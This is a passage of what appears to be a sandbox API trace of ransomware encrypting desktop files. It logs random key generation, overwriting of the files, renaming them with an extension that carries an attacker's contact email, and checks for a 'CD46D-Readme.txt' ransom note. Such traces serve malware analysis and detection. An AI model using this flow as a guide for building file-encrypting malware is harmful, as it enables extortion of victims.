HALPmcxz\\Desktop\\jiU9--Vb2fyV.png.mailto[2Hamlampampom@cock.li].cd46d" [0054.515] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jiU9--Vb2fyV.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8bef9ec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jiU9--Vb2fyV.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.515] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d610 [0054.571] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d610) returned 1 [0054.571] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a13a0) returned 1 [0054.571] NtQueryInformationFile (in: FileHandle=0x5c4, IoStatusBlock=0x8bef9f8, FileInformation=0x8bef9d0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8bef9f8, FileInformation=0x8bef9d0) returned 0x0 [0054.571] NtSetInformationFile (FileHandle=0x5c4, IoStatusBlock=0x8bef9f8, FileInformation=0x8bef9d0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.574] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02660) returned 1 [0054.574] FlushFileBuffers (hFile=0x5c4) returned 1 [0054.577] CloseHandle (hObject=0x5c4) returned 1 [0054.577] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4379b8 [0054.577] wcscpy (in: _Dest=0x4379b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.578] wcscat (in: _Dest=0x4379b8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.578] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.578] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4379b8) returned 1 [0054.578] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418f50) returned 1 Thread: id = 291 os_tid = 0xb10 [0047.002] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kX_cqPTP6-I4t.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kx_cqptp6-i4t.flv")) returned 0x20 [0047.002] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kX_cqPTP6-I4t.flv", dwFileAttributes=0x20) returned 1 [0054.256] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kX_cqPTP6-I4t.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kx_cqptp6-i4t.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5c8 [0054.256] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x888f97c | out: lpFileSize=0x888f97c*=38974) returned 1 [0054.256] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x983a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.256] ReadFile (in: hFile=0x5c8, lpBuffer=0x888f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x888f8fc, lpOverlapped=0x0 | out: lpBuffer=0x888f900*, lpNumberOfBytesRead=0x888f8fc*=0x4, lpOverlapped=0x0) returned 1 [0054.257] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.257] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0054.257] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460350 [0054.257] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4602d8 [0054.257] NtQuerySystemTime (in: CurrentTime=0x888f8dc | out: CurrentTime=0x888f8dc*=132174898182336000) returned 0x0 [0054.257] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x1d42d657 [0054.257] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x21e1ec77 [0054.257] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x48569a17 [0054.257] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x14f5fedc [0054.257] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x66c5e11f [0054.257] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x24199dde [0054.257] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x1b36ceca [0054.257] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x1acc3fa1 [0054.257] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x3fc37565 [0054.257] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x53c352f5 [0054.257] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x2f6277f [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x33502e4 [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x84bf24d [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x691e2d85 [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x74cf41bf [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0xa3e288 [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x499197d2 [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x1e140afa [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x645c6d0e [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x4c00a7 [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x5d21c3ad [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0xfff64f8 [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x6150ee6d [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x7dd7cc69 [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x3bda3ac8 [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x6a96850c [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0xfdc346a [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x6793478c [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x5dcd26ad [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x8974a62 [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x618ccc8c [0054.258] RtlRandomEx (in: Seed=0x888f8e8 | out: Seed=0x888f8e8) returned 0x5c9c9217 [0054.280] ReadFile (in: hFile=0x5c8, lpBuffer=0x12d09960, nNumberOfBytesToRead=0x983e, lpNumberOfBytesRead=0x888f8d8, lpOverlapped=0x0 | out: lpBuffer=0x12d09960*, lpNumberOfBytesRead=0x888f8d8*=0x983e, lpOverlapped=0x0) returned 1 [0054.281] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.281] WriteFile (in: hFile=0x5c8, lpBuffer=0x12d16168*, nNumberOfBytesToWrite=0x983e, lpNumberOfBytesWritten=0x888f8d4, lpOverlapped=0x0 | out: lpBuffer=0x12d16168*, lpNumberOfBytesWritten=0x888f8d4*=0x983e, lpOverlapped=0x0) returned 1 [0054.459] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0380 [0054.459] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0470 [0054.459] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0470) returned 1 [0054.459] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d16168) returned 1 [0054.459] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09960) returned 1 [0054.459] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437aa8) returned 1 [0054.459] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc10) returned 1 [0054.459] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2f) returned 0x40aad8 [0054.459] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.459] WriteFile (in: hFile=0x5c8, lpBuffer=0x5efe030*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x888f93c, lpOverlapped=0x0 | out: lpBuffer=0x5efe030*, lpNumberOfBytesWritten=0x888f93c*=0x113, lpOverlapped=0x0) returned 1 [0054.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe030) returned 1 [0054.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40abf0) returned 1 [0054.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0470) returned 1 [0054.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aad8) returned 1 [0054.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0380) returned 1 [0054.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460350) returned 1 [0054.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4602b0) returned 1 [0054.514] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460210) returned 1 [0054.514] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02720 [0054.514] wcscpy (in: _Dest=0x5e02720, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kX_cqPTP6-I4t.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kX_cqPTP6-I4t.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kX_cqPTP6-I4t.flv" [0054.514] wcscat (in: _Dest=0x5e02720, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kX_cqPTP6-I4t.flv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kX_cqPTP6-I4t.flv.mailto[2Hamlampampom@cock.li].cd46d" [0054.514] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kX_cqPTP6-I4t.flv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x888f8f4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kX_cqPTP6-I4t.flv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.514] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d538 [0054.610] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d538) returned 1 [0054.610] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a15c8) returned 1 [0054.610] NtQueryInformationFile (in: FileHandle=0x5c8, IoStatusBlock=0x888f900, FileInformation=0x888f8d8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x888f900, FileInformation=0x888f8d8) returned 0x0 [0054.610] NtSetInformationFile (FileHandle=0x5c8, IoStatusBlock=0x888f900, FileInformation=0x888f8d8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.627] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02720) returned 1 [0054.627] FlushFileBuffers (hFile=0x5c8) returned 1 [0054.642] CloseHandle (hObject=0x5c8) returned 1 [0054.643] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418de8 [0054.643] wcscpy (in: _Dest=0x418de8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.643] wcscat (in: _Dest=0x418de8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.643] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.643] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418de8) returned 1 [0054.643] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418fc8) returned 1 Thread: id = 292 os_tid = 0xbb0 [0047.003] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lVi8_jDEOiqVFCN9B.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lvi8_jdeoiqvfcn9b.bmp")) returned 0x20 [0047.003] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lVi8_jDEOiqVFCN9B.bmp", dwFileAttributes=0x20) returned 1 [0054.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lVi8_jDEOiqVFCN9B.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lvi8_jdeoiqvfcn9b.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5cc [0054.238] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x8cefa18 | out: lpFileSize=0x8cefa18*=44071) returned 1 [0054.239] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0xac23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.239] ReadFile (in: hFile=0x5cc, lpBuffer=0x8cef99c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8cef998, lpOverlapped=0x0 | out: lpBuffer=0x8cef99c*, lpNumberOfBytesRead=0x8cef998*=0x4, lpOverlapped=0x0) returned 1 [0054.239] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.239] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0054.239] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460300 [0054.239] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460350 [0054.239] NtQuerySystemTime (in: CurrentTime=0x8cef978 | out: CurrentTime=0x8cef978*=132174898182180000) returned 0x0 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x2a922f2e [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x5a555bfc [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0xf6ee09f [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x12b25a4c [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x58552616 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x5f7a2819 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x630c308f [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x48a82553 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x247bafa1 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x50c33aff [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x728d6849 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x1f896934 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x22fc319c [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x34d3c89a [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x5e22d82d [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x1c442a7e [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x29ba4c5b [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x714ceda1 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x5d77752d [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x6431c8f9 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x4645cbbb [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0xa4482c7 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x38b62797 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x19f66f72 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0xa31a15a [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x7be9b070 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x2a0463f0 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x187432cc [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x1b598ae7 [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x5473c42f [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x5e4db0ed [0054.240] RtlRandomEx (in: Seed=0x8cef984 | out: Seed=0x8cef984) returned 0x15def6eb [0054.253] ReadFile (in: hFile=0x5cc, lpBuffer=0x5eabf00, nNumberOfBytesToRead=0xac27, lpNumberOfBytesRead=0x8cef974, lpOverlapped=0x0 | out: lpBuffer=0x5eabf00*, lpNumberOfBytesRead=0x8cef974*=0xac27, lpOverlapped=0x0) returned 1 [0054.254] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.255] WriteFile (in: hFile=0x5cc, lpBuffer=0x5eb8708*, nNumberOfBytesToWrite=0xac27, lpNumberOfBytesWritten=0x8cef970, lpOverlapped=0x0 | out: lpBuffer=0x5eb8708*, lpNumberOfBytesWritten=0x8cef970*=0xac27, lpOverlapped=0x0) returned 1 [0054.452] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d04c0 [0054.452] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0420 [0054.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0420) returned 1 [0054.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eb8708) returned 1 [0054.453] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5eabf00) returned 1 [0054.458] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0054.458] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0054.458] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x440f20 [0054.458] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.458] WriteFile (in: hFile=0x5cc, lpBuffer=0x5e47ec0*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x8cef9d8, lpOverlapped=0x0 | out: lpBuffer=0x5e47ec0*, lpNumberOfBytesWritten=0x8cef9d8*=0x11b, lpOverlapped=0x0) returned 1 [0054.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47ec0) returned 1 [0054.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440f60) returned 1 [0054.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0420) returned 1 [0054.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440f20) returned 1 [0054.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d04c0) returned 1 [0054.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460300) returned 1 [0054.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460328) returned 1 [0054.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460288) returned 1 [0054.513] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d6b8 [0054.513] wcscpy (in: _Dest=0x12f4d6b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lVi8_jDEOiqVFCN9B.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lVi8_jDEOiqVFCN9B.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lVi8_jDEOiqVFCN9B.bmp" [0054.513] wcscat (in: _Dest=0x12f4d6b8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lVi8_jDEOiqVFCN9B.bmp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lVi8_jDEOiqVFCN9B.bmp.mailto[2Hamlampampom@cock.li].cd46d" [0054.513] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lVi8_jDEOiqVFCN9B.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8cef990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lVi8_jDEOiqVFCN9B.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.513] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d42a0 [0054.609] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d42a0) returned 1 [0054.609] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a17f0) returned 1 [0054.609] NtQueryInformationFile (in: FileHandle=0x5cc, IoStatusBlock=0x8cef99c, FileInformation=0x8cef974, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8cef99c, FileInformation=0x8cef974) returned 0x0 [0054.609] NtSetInformationFile (FileHandle=0x5cc, IoStatusBlock=0x8cef99c, FileInformation=0x8cef974, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.629] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d6b8) returned 1 [0054.629] FlushFileBuffers (hFile=0x5cc) returned 1 [0054.644] CloseHandle (hObject=0x5cc) returned 1 [0054.645] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418fc8 [0054.645] wcscpy (in: _Dest=0x418fc8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.645] wcscat (in: _Dest=0x418fc8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.645] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.645] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418fc8) returned 1 [0054.645] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400318) returned 1 Thread: id = 293 os_tid = 0xbbc [0047.005] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lxI6G-_wCui30eN8.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lxi6g-_wcui30en8.flv")) returned 0x20 [0047.006] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lxI6G-_wCui30eN8.flv", dwFileAttributes=0x20) returned 1 [0054.217] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lxI6G-_wCui30eN8.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lxi6g-_wcui30en8.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5d0 [0054.217] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x823f7d0 | out: lpFileSize=0x823f7d0*=57707) returned 1 [0054.217] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0xe167, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.217] ReadFile (in: hFile=0x5d0, lpBuffer=0x823f754, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x823f750, lpOverlapped=0x0 | out: lpBuffer=0x823f754*, lpNumberOfBytesRead=0x823f750*=0x4, lpOverlapped=0x0) returned 1 [0054.218] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0054.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460440 [0054.218] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0054.218] NtQuerySystemTime (in: CurrentTime=0x823f730 | out: CurrentTime=0x823f730*=132174898182024000) returned 0x0 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x65d541b5 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x1ec12ac8 [0054.218] RtlRandomEx (in: 